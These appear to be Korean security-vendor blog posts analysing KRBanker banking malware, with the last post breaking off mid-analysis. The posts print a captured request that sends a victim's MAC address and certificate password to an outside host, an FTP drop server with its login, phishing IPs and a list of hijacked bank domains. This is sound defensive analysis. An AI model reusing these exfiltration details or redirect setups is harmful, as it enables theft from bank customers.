1. 공인인증서 암호를 직접 겨냥한 KRBanker 변종 등장


국내 인터넷 뱅킹용 이용자들을 노린 악성파일(KRBanker) 변종이 거의 매일 새롭게 발견되고 있는 가운데, 최근 기존과 다른 형태의 악성파일 유형이 발견되었다. 지금까지 발견된 다양한 형태 중 대다수는 호스트파일(hosts)의 내용을 변경하여 정상적인 금융사이트 주소로 접속을 하더라도 피싱사이트로 연결되도록 조작하는 방식이 주로 이용되고 있다. 그외에 호스트파일(hosts)을 변경하지 않고 악성파일이 사용자의 인터넷 접속 사이트를 모니터링하다가 특정 금융사이트 주소에 접근시 피싱사이트로 웹 페이지를 교묘하게 바꿔치기 하는 수법 등이 존재한다. 이러한 방식은 모두 공통적으로 가짜로 만들어진 공인인증서 전자서명 로그인 화면을 보여주어 사용자가 입력하는 공인인증서 암호를 손쉽게 탈취할 수 있도록 만들어져 있다. 하지만 최근에 발견된 악성파일은 실제 공인인증서 화면에 가짜 폼을 교묘히 덮어씌어 입력되는 암호 자체를 탈취하기 시작했다.

이처럼 전자금융사기용 악성파일이 다각적인 방식을 도입하는 등 꾸준히 지능화되고 있다는 점을 명심하고, 전자금융서비스 이용자들 스스로 금융보안위협에 노출되지 않도록 각별히 주의해야 한다. 특히, 그 무엇보다 어떠한 경우라도 인터넷 뱅킹용 보안카드의 전체번호 모두를 동시에 입력하지 않도록 유념해야 한다.



[주의]OTP 이벤트로 위장한 전자금융사기용 악성파일(KRBanker)
http://erteam.nprotect.com/381

[주의]안랩 프로그램 사칭 인터넷 뱅킹용 악성파일
http://erteam.nprotect.com/380

[주의]금융 보안프로그램으로 둔갑한 악성파일 출현
http://erteam.nprotect.com/379

[주의]국내 스마트 뱅킹 이용자를 노린 피싱용 안드로이드 악성앱 등장
http://erteam.nprotect.com/378

[칼럼]특명! 사이버 은행강도로부터 당신의 금융자산을 보호하라.
http://erteam.nprotect.com/374

[주의]금융자산예방서비스 사칭! 믿는도끼에 발등 찍힌다.
http://erteam.nprotect.com/373

[주의]무료 동영상에 숨겨진 검은 그림자, 당신의 예금을 노린다.
http://erteam.nprotect.com/371

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재
http://erteam.nprotect.com/370

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!
http://erteam.nprotect.com/366

[주의]KRBanker 변종 시티은행 피싱 목록 추가!
http://erteam.nprotect.com/365

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹
http://erteam.nprotect.com/347

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁
http://erteam.nprotect.com/344

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!
http://erteam.nprotect.com/341

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥
http://erteam.nprotect.com/340

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫
http://erteam.nprotect.com/339

[긴급]국내 인터넷뱅킹 사용자를 노린 악성파일 급속 유포
http://erteam.nprotect.com/293

[주의]국내 인터넷 뱅킹 보안승급서비스 사칭한 스마트폰 문자피싱
http://erteam.nprotect.com/258


2. 악성파일 정보

이번에 발견된 악성파일(KRBanker)은 국내 특정 웹 사이트가 불법 변조되어, JAVA 보안취약점을 보유하고 있는 사용자가 사이트에 접속하는 것만으로 악성파일에 자동적으로 감염되도록 만들어져 있었다.


보안취약점에 노출되어 Dropper 기능의 1차 악성파일("RunIeHelpG.exe")에 감염되면, 윈도우즈(Windows) 하위 폴더에 "handownbak" 이름의 폴더가 생성되고, 내부에 "kbs.exe", "ftp.exe", "LoginMgr.dll", "DeleteAll.exe", "config.ini" 등의 악성파일이 추가로 생성되고 실행된다.


"kbs.exe" 파일은 한국어 프로그램 언어로 제작되어 있고, 원본파일명은 한국(han)과 은행(bank)을 의미하는 것으로 추정되는 "hanbank.exe" 이다.


사용자가 웹 브라우저를 이용해서 특정 인터넷 뱅킹 사이트에 접속을 시도하면 다음과 같이 "kbs.exe", "ftp.exe" 등이 실행되며, 사용자의 공인인증서(NPKI) 탈취시도와 함께 감염된 컴퓨터의 MAC주소, 공인인증서(NPKI) 로그인 암호 탈취 등이 시도된다.


"ftp.exe" 파일의 경우 110.34.233.146 주소의 FTP 주소로 로그인(a123/a123)하여 공인인증서(NPKI) 파일을 전송시도한다.


감염된 사용자가 실제 공인인증서 화면에서 로그인을 시도하게 되면 다음과 같이 MAC주소와 공인인증서 암호 등이 외부로 탈취시도된다. 아래 화면은 실제 공인인증서를 이용해서 테스트를 수행한 화면이며, 테스트에 사용된 "npki_pass_test" 값의 암호가 외부로 전송 시도되는 것을 확인해 볼 수 있다.


GET /web/ups/in.asp?mac=00-03-FF-08-B4-43&servname=kbstar.com&bankpass=&password=npki_pass_test HTTP/1.1
Accept: */*
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; InfoPath.2)
Host:
www.colorephone.com
Connection: Keep-Alive

앞서 설명한 바와 같이 공인인증서와 암호 탈취를 시도하는 과정에서 실제 금융권에서 서비스 중인 키보드보안 프로그램이 악성파일의 동작을 감지하여 다음과 같은 안내창을 띄우고, 강제로 웹페이지 접속을 차단하여, 실제 테스트에서는 공인인증서 다음 화면으로 이동하지는 못하였다.


악성파일 제작자들은 다양한 기법을 이용해서 전자금융사기용 악성파일(KRBanker)을 꾸준히 제작하고 있고, 거의 매일 새롭게 변종이 양산되어 유포 중이다. 아울러 피싱사이트 뿐만 아니라 실제 금융사이트의 정보를 직접 겨냥하여 탈취도 시도하고 있다는 점을 간과해서는 안될 것이다.

금일 오전에도 다양한 피싱사이트가 발견되었고, 피싱사이트의 메인 화면에는 아래와 같이 실제 존재하지 않는 팝업 화면을 출력하여 이용자들로 하여금 금융정보를 입력하도록 유혹하고 있다. 해당 피싱사이트는 한국인터넷진흥원(KISA) 종합상황실에 긴급으로 차단을 요청한 상태이다.


피싱사이트는 대부분 아래와 같이 평소와 다르게 금융정보를 과도하게 입력하도록 유도하며, 특히 보안카드의 모든 비밀번호를 입력하도록 하는 것이 특징이다. 국내의 어떠한 금융권도 보안카드의 모든 비밀번호를 동시에 요구하는 경우는 없다는 점을 명심한다면 유사한 보안위협을 효과적으로 예방할 수 있다.


3. 피싱 사이트 진위여부 판단 노하우


내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 보안관련 인증절차와 금융 보안프로그램으로 사칭한 KRBanker


잉카인터넷 대응팀은 국내 인터넷 뱅킹 이용자들의 예금탈취를 노린 악성파일(KRBanker) 변종이 새로운 형태의 내용으로 전자금융 서비스 이용자들을 현혹시키고 있는 정황을 포착하였다. 악성파일은 국내 특정 웹 사이트를 해킹하여 보안이 취약한 접속자로 하여금 웹 사이트 접속만으로 악성파일(KRBanker)에 은밀히 감염되도록 만들어 두었다. 악성파일에 노출되어 감염이 이뤄지면, 사용자 컴퓨터에 존재하는 호스트파일(hosts)을 변조하여 시티은행, 하나은행, 기업은행, 국민은행, 외환은행, 농협, 신한은행, 수협, 스탠다드차타드, 우리은행 등의 도메인 접속 주소를 특정 피싱 IP주소로 몰래 변경시킨다. 이로인해 사용자가 정상적인 금융사 홈페이지를 접속하더라도 피싱 IP주소로 연결되어 정교하게 조작된 가짜 금융사이트 화면보이게 된다.

특히, 이번에 발견된 사례는 전자금융사기가 기승을 부리고 있다는 점을 역이용해서 마치 정상적인 금융 보안관련 인증절차 진행인 것처럼 사칭한 문구와 금융 보안 프로그램 설치 내용으로 이용자의 정보탈취를 유도하고 있어 세심한 주의가 요구된다.



[주의]국내 스마트 뱅킹 이용자를 노린 피싱용 안드로이드 악성앱 등장
http://erteam.nprotect.com/378

[칼럼]특명! 사이버 은행강도로부터 당신의 금융자산을 보호하라.
http://erteam.nprotect.com/374

[주의]금융자산예방서비스 사칭! 믿는도끼에 발등 찍힌다.
http://erteam.nprotect.com/373

[주의]무료 동영상에 숨겨진 검은 그림자, 당신의 예금을 노린다.
http://erteam.nprotect.com/371

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재
http://erteam.nprotect.com/370

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!
http://erteam.nprotect.com/366

[주의]KRBanker 변종 시티은행 피싱 목록 추가!
http://erteam.nprotect.com/365

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹
http://erteam.nprotect.com/347

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁
http://erteam.nprotect.com/344

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!
http://erteam.nprotect.com/341

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥
http://erteam.nprotect.com/340

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫
http://erteam.nprotect.com/339

[긴급]국내 인터넷뱅킹 사용자를 노린 악성파일 급속 유포
http://erteam.nprotect.com/293

2. 악성파일 전파 경로 및 분석 정보

국내 특정 웹 사이트가 해킹되어 악의적인 스크립트가 삽입되었으며, 이용자가 악성 스크립트와 연결된 사이트에 접속할 경우 보안취약점(CVE-2012-1723) 공격을 받게 된다. 만약 이용자 컴퓨터가 보안에 취약한 경우 전자금융사기용 악성파일(KRBanker)에 자동으로 감염이 된다.

다음 화면은 보안 취약점 공격에 이용된 악성 스크립트의 일부 화면이다.


보안취약점에 의해서 악성 스크립트가 정상적으로 작동되면 특정 웹 사이트에서 악성파일(KRBanker)이 사용자 임시폴더(Temp)에 "updata.exe" 이름의 파일명으로 다운로드되고 실행된다.


악성파일(KRBanker)이 실행되면 사용자의 호스트파일(hosts)을 변조하기 위해서 임시폴더에 "1.bat" 파일을 생성하여 실행한다. 해당 배치파일에는 특정 IP주소로 은행사이트가 연결되도록 하는 명령어를 포함하고 있다.

여기서 문제는 악성파일이 공격자의 명령(C&C)에 따라서 피싱용 IP주소를 실시간으로 변경하고 있기 때문에 감염되는 사용자들은 동일한 악성파일에 감염되더라도 시점에 따라 다른 IP주소가 설정되고 있다.
 


"1.bat" 파일의 배치명령에 의해서 호스트파일(hosts)의 내용은 아래와 같이 피싱 사이트 내용으로 변경된다. 이 때문에 이용자가 정상적인 금융권 웹 사이트 도메인으로 직접 접속하더라도 가짜 피싱 사이트가 있는 IP주소(67.229.68.158)로 강제 연결되며, 웹 브라우저상에는 실제 정상적인 금융권 도메인 주소로 보여지기 때문에 이용자가 정상 금융사이트로 착각할 가능성이 높다.

CITIBANK.CO.KR   :: 시티은행
WWW.CITIBANK.CO.KR  :: 시티은행
HANABANK.COM   :: 하나은행
WWW.HANABANK.COM   :: 하나은행
WWW.IBK.CO.KR   :: 기업은행
MYBANK.IBK.CO.KR   :: 기업은행
KIUP.IBK.CO.KR   :: 기업은행
KBSTAR.COM   :: 국민은행
WWW.KBSTAR.COM   :: 국민은행
OBANK.KBSTAR.COM   :: 국민은행
KEB.CO.KR    :: 외환은행
WWW.KEB.CO.KR   :: 외환은행
BANK.KEB.CO.KR   :: 외환은행
EBANK.KEB.CO.KR   :: 외환은행
NONGHYUP.COM   :: 농협
WWW.NONGHYUP.COM   :: 농협
BANKING.NONGHYUP.COM  :: 농협
SHINHAN.COM   :: 신한은행
WWW.SHINHAN.COM   :: 신한은행
BANKING.SHINHAN.COM  :: 신한은행
WWW.SUHYUP-BANK.COM  :: 수협은행
WWW.STANDARDchartered.CO.kr :: 스탠다드차타드은행
WOORIBANK.COM   :: 우리은행
WWW.WOORIBANK.COM   :: 우리은행
PIB.WOORIANK.COM   :: 우리은행
SPD.WOORIBANK.COM   :: 우리은행


호스트파일(hosts)이 변조된 상태에서 대상 금융사이트에 접속할 경우 피싱 IP주소(67.229.68.158)로 변경 접속된다. 피싱용 IP주소는 계속 실시간으로 변경되고 있다. 동일한 악성파일에 감염되더라도 공격자의 명령에 따라 IP주소는 다르게 적용되고 있기 때문에 알려지지 않은 피싱용 IP주소가 매우 많이 존재할 것으로 보인다.

현재까지 잉카인터넷 대응팀이 파악한 가변적 피싱 IP주소는 다음과 같고, 시간에 따라 계속 변경되고 있다.

- 67.229.68.158
- 67.229.68.237
- 67.229.68.238
- 174.139.174.254

악성파일(KRBanker)에 감염된 상태에서 한 예로 국민은행 사이트에 접속할 경우 다음과 같이 정교하게 제작된 피싱 사이트로 연결이 이뤄지고, 실제로는 존재하지 않는 가짜 팝업 메시지 창이 출력된다. 가짜 메시지 창은 마치 정상적인 보안서비스 처럼 보여지지만, 모두 허위로 조작된 내용이다.

기존에는 보안승급서비스, 보안강화서비스, 전자금융사기예방서비스 등으로 위장한 형태가 보고되었으나, 이번에는 "보안관련 인증절차"라는 문구로 사용자들을 현혹하고 있다.

 




상기 화면에서 이용자가 [확인]버튼을 클릭하게 되면 금융 개인정보를 입력하도록 유도하는 피싱화면으로 넘어가게 되며, 사용자 추가본인 확인절차라는 화면으로 과도하게 금융정보를 요구하고, 전자금융사기 수법의 공통점인 보안카드의 모든 비밀번호를 입력하도록 유도한다.

 


만약 이용자가 피싱화면에 속아 보안카드의 비밀번호까지 모두 입력하게 될 경우 금융정보가 외부로 유출되어 예기치 못한 전자금융사기 피해를 입을 수 있게 된다. 이어서 피싱 웹 사이트에는 보안프로그램 설치라는 조작된 화면을 보여주면서 이용자에게 추가적인 악성파일을 설치하도록 시도한다.



분석당시에는 정상적으로 악성파일이 서버에 존재하지 않아 상세확인의 진행은 불가능했으나, 추가 악성파일(KRBanker/Backdoor)을 설치하여 공인인증서 탈취를 시도했을 것으로 추정된다.

보안프로그램처럼 모방하여 추가 악성파일을 설치시도하는 형태까지 진화하고 있으므로, 이용자들은 유사 피싱화면에 현혹되지 않도록 각별한 주의가 필요하다.

3. 피싱 사이트 진위여부 판단 노하우


내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 육안상으로 진위여부를 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.


2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 전자금융사기 방심은 절대금물


사자성어 중에 지부작족(知斧斫足)이라는 말이 있다. "믿는 도끼에 발등을 찍힌다"는 뜻으로, 믿었던 것에 배신을 당한다는 것을 비유적으로 표현한 말이다. 2012년부터 수개월간 실제 인터넷 뱅킹 사이트처럼 정교하게 조작된 피싱사이트로 연결시키는 전자금융사기용 악성파일(KRBanker)들이 여전히 기승을 부리고 있는 가운데 보안업체 및 금융권에서는 전자금융사기에 대한 주의 환기를 지속적으로 안내하고 있다. 평소처럼 자신이 믿고 접속했던 인터넷 뱅킹 사이트가 사이버 범죄자들이 만든 피싱 사이트로 교체되고, 신뢰한 후 스스로 입력했던 금융정보가 모두 외부로 무단 유출되었다면 그 만큼 아찔한 순간은 없을 것이다. 최근 전자금융사기 범죄자들은 이러한 분위기를 역이용해서 마치 금융보안 서비스처럼 교묘하게 모방하고 사칭한 사기수법을 총 동원하고 있다.



이번에 새롭게 발견된 방법은 금융 보안위협이 증가하자 마치 금융권에서 제공하는 공식적인 보안서비스처럼 위장하고 있다. 그중 최근 발견된 특징적 수법으로 "금융자산예방서비스"라는 조작된 메시지창을 출력하고 사용자들을 현혹시켜 금융정보를 피싱사이트에 입력하도록 유인하고 있다. 

[주의]무료 동영상에 숨겨진 검은 그림자, 당신의 예금을 노린다.
http://erteam.nprotect.com/371

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재
http://erteam.nprotect.com/370

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!
http://erteam.nprotect.com/366

[주의]KRBanker 변종 시티은행 피싱 목록 추가!
http://erteam.nprotect.com/365

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹
http://erteam.nprotect.com/347

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁
http://erteam.nprotect.com/344

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!
http://erteam.nprotect.com/341

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥
http://erteam.nprotect.com/340

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫
http://erteam.nprotect.com/339

2. 보안카드 암호 전체 입력을 요구할 경우 100% 사기

이번에 발견된 악성파일은 국내 유머관련 특정 웹 사이트가 해킹되어 보안취약점을 이용했고, 접속하는 불특정 다수의 사용자에게 악성파일(KRBanker)을 무차별적으로 감염시켰다. 악성파일은 마치 안랩 V3 제품의 아이콘처럼 위장하고 있으며, 파일의 등록 정보(속성)에는 이스트소프트사의 알툴즈 업데이터 프로그램처럼 위장하고 있다.

또한, 프로그램은 중국어로 개발된 것을 확인할 수 있다.


악성파일이 작동되면 이용자의 호스트파일(hosts)을 변조시켜, 정상적인 금융권 웹 사이트에 접속하더라도 피싱 IP 주소로 연결되도록 만든다.


악성파일에 감염되었을 때 보여지는 피싱사이트 화면은 전국은행연합회 사이트에서 팝업으로 공지(http://www.kfb.or.kr/popup/120903.htm)하고 있는 전자금융사기 예방서비스 화면을 교묘히 악용하고 있다. 사이버 범죄자들은 실제 서비스 중인 다양한 전자금융사기 예방서비스용 안내 화면을 정교하게 모방하고 조작해서 이용자들을 현혹시키고 있다.

악성파일에 감염된 상태에서 국내 인터넷 뱅킹 웹 사이트에 접속하면 사용자 몰래 금융 피싱사이트로 변경되고, 아래와 같이 전자금융사기 예방시스템 신청으로 사칭한 팝업창이 나타나게 된다.


조작된 이 팝업 화면을 이용한 악성파일(KRBanker)은 시티은행, 기업은행, 하나은행, 국민은행, 외환은행, 농협, 신한은행, 우리은행 등의 피싱사이트에 각각 이용되었다.


악성파일(KRBanker) 변종에 감염된 상태에서 각 금융권 사이트는 접속시 피싱사이트로 바꿔치기 되며, 팝업 공지문으로 사칭한 내용들이 보여지게 된다.


또한, 아래와 같이 별도의 메시지 창을 띄어 금융자산예방서비스를 실행 후 사용하라는 안내화면을 보여준다.

피싱및 해킹(전화금융사기)인한 금융사기가 지속적으로 발생하고 있습니다.
11월 18일부터 모든 은행권에서 전자금융사기 예방서비스를 시행합니다.
금융자산예방서비스를 실행후 사용해주세요.


메인 화면의 팝업창을 통해서 금융 피싱사이트에서는 사용자의 개인 금융정보 입력을 본격적으로 유도하게 된다. 각 금융권에 따라 실제처럼 보이도록 정교하게 디자인된 화면이 보여지게 된다.

첫 화면에서는 이름, 주민번호, 휴대폰번호, 계좌번호, 계좌 비밀번호, 사용자 아이디, 이체 비밀번호 등의 과도하게 많은 금융정보를 1차로 입력하도록 현혹시킨다.


이어서 다음단계에서는 가장 중요한 보안카드의 일련번호와  전체 비밀번호를 입력하도록 유도한다. 어떠한 경우라도 정상적인 금융권에서는 보안카드의 일련번호와 모든 번호를 요구하는 경우는 절대 없으므로, 이런 유사한 정보요구를 목격하게 되면 100% 전자금융사기라는 점을 명심해야 한다.

거듭 강조하지만 국내 어떤 금융권에서도 금융보안서비스 가입을 명목으로 보안카드의 일련번호와 비밀번호 전체를 입력하도록 요구하는 경우는 절대 없다. 따라서 이용자들은 보안카드의 전체 비밀번호를 입력요구하는 화면을 보게 될 경우, 즉시 입력을 중단하고 관계 금융기관이나 잉카인터넷 대응팀(isarc@inca.co.kr)으로 신고를 하여 적절한 보안 조치를 받는 것이 필요하다.


보안카드의 모든 정보가 입력되면, 사이버 범죄자들에게 매우 중요한 금융정보가 무단유출되며, 아래와 같이 마치 정상적으로 예방서비스에 가입된 것처럼 화면을 보여준다. 이곳에는 [가입돠였습니다] 라는 오타가 포함되어 있는 특징이 있다.

 


3. 피싱 사이트 진위여부 판단 노하우


내가 접속한 곳이 실제 정상적인 금융사이트인지, 아니면 모방 사칭된 금융 피싱사이트인지 육안상으로 진위여부를 판가름하기 어려울 정도로 최근의 피싱사이트들은 매우 정교화되고 디자인도 한글을 포함해서 다양한 방식으로 고급화되고 있는 추세이다. 여기서 이용자들이 무엇보다 주목해야 할 부분은 바로 사이버 범죄자들이 노리는 공통점이 무엇일까라는 점이다. 그들은 사용자들의 개인 금융정보 탈취를 통해서 예금을 불법 인출하기 위한 목적을 가지고 있다는 것이다.

따라서 과도하게 금융정보를 요구하는 웹 사이트가 있다거나 그동안 여러차례 강조했던 것처럼 절대 공개되어서는 안되는 보안카드의 전체 비밀번호를 동시에 요구하는 경우는 모두 피싱사이트라는 점을 기억하고 있다면 유사한 금융 보안위협을 능동적으로 대처할 수 있게 된다.

2013년은 전자금융사기용 악성파일(KRBanker) 변종이 더욱 더 기승을 부릴 전망이며, 기술적으로도 진화를 거듭할 것으로 예상되는 만큼, 인터넷 뱅킹 이용자들은 보안카드의 번호를 직접 입력하거나 외부에 노출되지 않도록 각별한 주의를 기울여야 할 것으로 보인다.

해당 악성 파일은 대부분의 국내 금융권 사이트를 피싱 대상으로 삼고 있으며, 감염 후 인터넷 뱅킹 사이트에 접속 시 대부분의 은행 사이트와 매우 유사하게 제작된 사이트를 사용자들에게 보여주기 때문에 일반 사용자들의 경우 감염 여부를 육안상으로 손쉽게 식별해 내기는 어려울 수 있다. 때문에 이러한 악성 파일로 부터 안전한 PC 사용 및 금융권 사이트 이용을 위해서는 아래와 같은 "보안 관리 수칙"을 준수하는 등 사용자 스스로의 관심과 주의를 기울이는 것이 무엇보다 중요하다고 할 수 있겠다.

※ 보안 관리 수칙

1. 윈도우와 같은 OS 및 각종 응용 프로그램의 최신 보안 패치 생활화.

2. 신뢰할 수 있는 보안업체의 백신을 설치 후 최신 엔진 및 패턴버전으로 업데이트해 실시간 감시 기능을 항상 "ON"상태로 유지하여 사용한다.

3. 출처가 불분명한 이메일에 대한 열람 및 첨부파일에 대한 다운로드/실행을 자제한다.

4. 인스턴트 메신저, SNS 등을 통해 접근이 가능한 링크 접속시 주의


※ 잉카인터넷 대응팀에서는 위와 같은 악성파일을 포함한 각종 보안 위협에 대비하기 위해 24시간 지속적인 대응체계를 유지하고 있다.

nProtect Anti-Virus/Spyware v3.0 제품에서는 다양한 변종 악성파일을 진단/치료하고 있다.

▣ AVS 3.0 무료 설치 : http://avs.nprotect.com/


저작자 표시
신고
크리에이티브 커먼즈 라이선스
Creative Commons License
Posted by nProtect
1. 국내 인터넷 뱅킹 이용자를 노린 보안위협 증대


잉카인터넷 대응팀은 2012년 중순 경부터 본격적으로 전자금융사기용 악성파일(KRBanker) 경계경보령을 발령한 상태이다. 국내 시중은행의 인터넷 뱅킹 이용자를 겨냥한 악성파일들이 무차별적으로 연일 유포되고 있기 때문이다. 특히, 지난 달에는 일정기간 잠복기를 가지며, 시스템 파일 삭제기능을 탑재한 파괴형까지 등장하면서 연일 전자금융서비스 이용자들의 안전에 적신호가 켜진 상태이다. 국내 금융정보 탈취기반의 악성파일(KRBanker) 제작자들은 이미 전문화된 국제 사이버 범죄조직으로 운영되고 있으며, 정교하게 제작된 악성파일과 피싱(파밍)사이트를 통해서 호시탐탐 국내 인터넷 뱅킹 이용자들의 예금인출을 노리고 있는 형국이다. 공격자들은 국내 유수의 웹 사이트를 불법 변조하여 각종 보안취약점을 악용해 불특정다수에게 악성파일을 유포시키고 있다. 



거기에 자체 업데이트 기능을 동원하는가 한편 피싱 기법도 다변화 되는 등 진화에 진화를 거듭하고 있다. 또한, 조회수가 많은 파일공유 서비스 관련 사이트에 인기가 많은 동영상 파일처럼 등록해서 인터넷 누리꾼들을 유혹하고 있다.

[위험]전자금융사기용 악성파일(KRBanker) 시스템 파괴 기능 탑재
http://erteam.nprotect.com/370

[긴급]KRBanker 새로운 변종 애플 아이콘으로 위장!
http://erteam.nprotect.com/366

[주의]KRBanker 변종 시티은행 피싱 목록 추가!
http://erteam.nprotect.com/365

[긴급]KRBanker 전자금융사기용 허위 예방 서비스로 사용자 유혹
http://erteam.nprotect.com/347

[정보]보안승급 사칭 전자금융사기 기승, 사이버 금융범죄와의 전쟁
http://erteam.nprotect.com/344

[칼럼]국내 인터넷 뱅킹 보안위협 절대 남의 일이 아니다!
http://erteam.nprotect.com/341

[주의]국내 인터넷 뱅킹용 악성파일 BHO 기능 겨냥
http://erteam.nprotect.com/340

[주의]인터넷 뱅킹 보안강화(승급) 서비스는 전자금융사기의 덫
http://erteam.nprotect.com/339
 


2. 무심코 다운로드한 예능프로그램이 당신의 돈을 훔친다?

2012년 12월 29일 토요일 주말 저녁, MBC TV 예능프로그램 "무한도전"이 방송됐다. 보통 본방송이 끝나면 각종 파일공유 서비스에는 해당 동영상이 공유되는데, 마침 국내 특정 토렌트 관련 사이트에 다음과 같은 게시물과 파일이 등록됐다.

무한도전.E310.121229.(박명수의 어떤가요).121229.HDTV.XviD-Baros


약 4,700 여명이 해당 게시글을 조회했고, 게시글 본문에는 토렌트 아이콘과 화면보호기 파일로 위장된 실행파일[무한도전.E310.121229.(박명수의 어떤가요).121229.HDTV.XviD-Baros.scr]이 첨부되어 있다.


다운로드 사용자로 하여금 토렌트(Torrent) 파일처럼 인식시키기 위해서 아이콘을 µTorrent 파일처럼 교묘하게 위장하고 있다.

 


